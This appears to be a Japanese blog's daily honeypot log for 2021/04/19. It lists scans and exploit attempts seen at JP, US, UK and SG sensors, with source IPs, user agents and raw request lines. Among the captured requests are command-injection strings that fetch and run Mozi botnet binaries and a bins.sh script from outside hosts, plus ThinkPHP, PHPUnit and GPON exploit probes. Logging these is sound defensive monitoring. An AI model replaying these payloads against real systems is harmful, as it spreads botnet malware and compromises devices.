コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/04/19 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/04/19分です。

特徴
共通

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Apache Tomcatへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location：UK

NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Tomcatへのスキャン行為
を確認しました。

Location：SG

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
/.envへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

cd /tmp;
rm -rf *;
wget  http://45.85.90.131/bins.sh;
chmod 777 /tmp/bins.sh;
sh /tmp/bins.sh
他
アクセス数推移

JP：総アクセス数：140 (前日比：+57)
US：総アクセス数：43 (前日比：-4)
UK：総アクセス数：51 (前日比：-144)
SG：総アクセス数：48 (前日比：-134)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
34 20.185.65.190 United States
33 34.94.241.113 United States
1 35.188.237.128 United States
1 40.122.76.169 United States
11 45.155.205.211 Russia
1 52.250.0.74 United States
1 61.242.58.31 China
1 64.145.93.52 United States
1 66.240.205.34 United States
1 69.162.230.243 United States
31 80.82.78.39 United Kingdom
1 82.102.24.12 United Kingdom
1 104.144.194.44 Canada
1 118.36.45.11 South Korea
2 120.77.43.120 China
1 120.85.118.125 China
1 121.4.181.178 China
3 124.132.153.112 China
1 128.199.34.51 United Kingdom
1 135.181.97.199 Germany
2 150.136.75.66 United States
1 180.149.125.170 Mongolia
1 182.112.49.249 China
1 192.241.209.176 United States
1 192.241.218.14 United States
1 192.241.218.172 United States
2 205.185.122.102 United States
1 207.246.67.184 United States
1 209.141.45.200 United States
1 216.250.255.66 United States

UserAgent一覧

件数 UserAgent
7 -
1 Hello, World
1 Hello, world
28 Mozilla/5.0
1 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
34 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
8 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
3 \x16\x03\x01
10 GET /.env HTTP/1.1
1 GET /1.tar.gz HTTP/1.1
2 GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /2020/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /3.tar.gz HTTP/1.1
1 GET /4.tar.gz HTTP/1.1
1 GET /5.tar.gz HTTP/1.1
1 GET /6.tar.gz HTTP/1.1
1 GET /7.tar.gz HTTP/1.1
1 GET /8.tar.gz HTTP/1.1
1 GET /9.tar.gz HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /HNAP1/ HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /a.tar.gz HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
2 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /c/ HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
2 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /conf/.env HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /d.tar.gz HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /e.tar.gz HTTP/1.1
1 GET /ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env HTTP/1.1
1 GET /f.tar.gz HTTP/1.1
1 GET /g.tar.gz HTTP/1.1
1 GET /h.tar.gz HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /i.tar.gz HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /j.tar.gz HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /k.tar.gz HTTP/1.1
1 GET /l.tar.gz HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
2 GET /login HTTP/1.1
1 GET /m.tar.gz HTTP/1.1
1 GET /new/.env HTTP/1.1
2 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /o.tar.gz HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /q.tar.gz HTTP/1.1
1 GET /s.tar.gz HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
2 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /t.tar.gz HTTP/1.1
2 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /u.tar.gz HTTP/1.1
1 GET /v.tar.gz HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w.tar.gz HTTP/1.1
2 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 GET /wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /www/.env HTTP/1.1
1 GET /x.tar.gz HTTP/1.1
2 GET /xmlrpc.php?rsd HTTP/1.1
1 GET /y.tar.gz HTTP/1.1
1 GET http[:]//qj[.]8ce[.]cn:25099/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 35.183.104.252 United States
1 45.73.155.207 United States
1 45.144.225.89 Netherlands
11 45.155.205.211 Russia
2 94.177.186.108 Italy
7 103.219.61.3 India
4 111.7.96.146 China
4 111.7.96.176 China
1 120.85.114.185 China
1 135.181.151.12 Germany
3 163.172.161.118 United Kingdom
1 180.149.125.170 Mongolia
1 192.241.197.198 United States
1 192.241.207.222 United States
1 192.241.214.70 United States
2 205.185.122.102 United States
1 209.141.45.200 United States

UserAgent一覧

件数 UserAgent
3 -
6 Chrome/54.0 (Windows NT 10.0)
1 Hello, World
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1; rv:58.0) Gecko/20100101 Firefox/58.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
2 \x16\x03
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
5 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /c/ HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
5 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//kaymcclurg[.]best/2fb7293a29fee73ddecc543f0ec89b12a85941cf690d5270eb29fe9fbe0b9ba932f77225ad096a438344c20b40b938cf91449b2cdfa6d572cea8d2573a59b341c7742c0cc883634fe8fae25799c08fca9285feec2bb2c045eb5d09d545ddfe50 HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 45.73.155.207 United States
2 45.113.70.223 Hong Kong
11 45.155.205.211 Russia
1 49.234.47.214 China
7 51.38.40.95 France
1 54.190.109.143 United States
1 62.210.5.253 France
2 106.75.18.16 China
1 115.96.29.13 India
1 121.5.145.96 China
1 121.5.219.20 China
1 135.181.150.254 Germany
1 139.99.137.192 Canada
7 142.93.107.41 United States
1 167.71.102.95 United States
1 180.149.125.167 Mongolia
1 188.166.167.7 United States
1 192.241.214.211 United States
1 192.241.219.66 United States
1 192.241.219.72 United States
1 193.46.255.97 Romania
1 197.136.174.162 Kenya
2 205.185.122.102 United States
1 209.141.45.200 United States
2 209.141.54.139 United States

UserAgent一覧

件数 UserAgent
7 -
2 Mozilla/5.0
3 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2692 MMWEBSDK/200901 Mobile Safari/537.36
14 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
1
1 -
2 \x16\x03\x01
1 \x16\x03\x01\x02
4 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
2 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /c/ HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.html HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
3 GET /jenkins/login HTTP/1.1
2 GET /login HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//115[.]96[.]29[.]13:50763/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
3 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
2 GET /wp-login.php HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
3 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 18.206.92.168 United States
10 42.192.62.83 China
11 45.155.205.211 Russia
1 60.216.249.20 China
1 61.242.54.19 China
1 68.11.64.210 United States
1 135.181.97.199 Germany
1 143.198.239.208 United States
3 163.172.159.134 United Kingdom
1 175.112.186.77 South Korea
1 180.149.125.163 Mongolia
1 181.54.38.196 Colombia
1 192.241.215.124 United States
1 192.241.219.117 United States
1 192.241.221.103 United States
1 193.169.203.157 Russia
2 205.185.122.102 United States
7 209.97.182.201 United States
1 209.141.45.200 United States
1 216.250.255.66 United States

UserAgent一覧

件数 UserAgent
5 -
1 Go-http-client/1.1
1 Hello, World
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1; rv:63.0.3) Gecko/20100101 Firefox/63.0.3
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1
3 Mozilla/5.0 zgrab/0.x
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
4 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /c/ HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
2 GET /shell?cd+/tmp;rm+-rf+*;wget+ http[:]//45[.]85[.]90[.]131/bins.sh;chmod+777+/tmp/bins.sh;sh+/tmp/bins.sh
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET http[:]//www[.]8mu8[.]com/ HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//dearth[.]fun/72b2d48e983d726be781fc39765fb58e020ee4a966f154dd77e9cb14fb0c427a12e6e0f1b6542e98e10749c136e5ff8e0486b5dfd66bd317ee971717347f4d0f69bc89e2c5bb10495d67be9158cb1fa1c06459371b85b3bda1bb84017b8a0d11 HTTP/1.1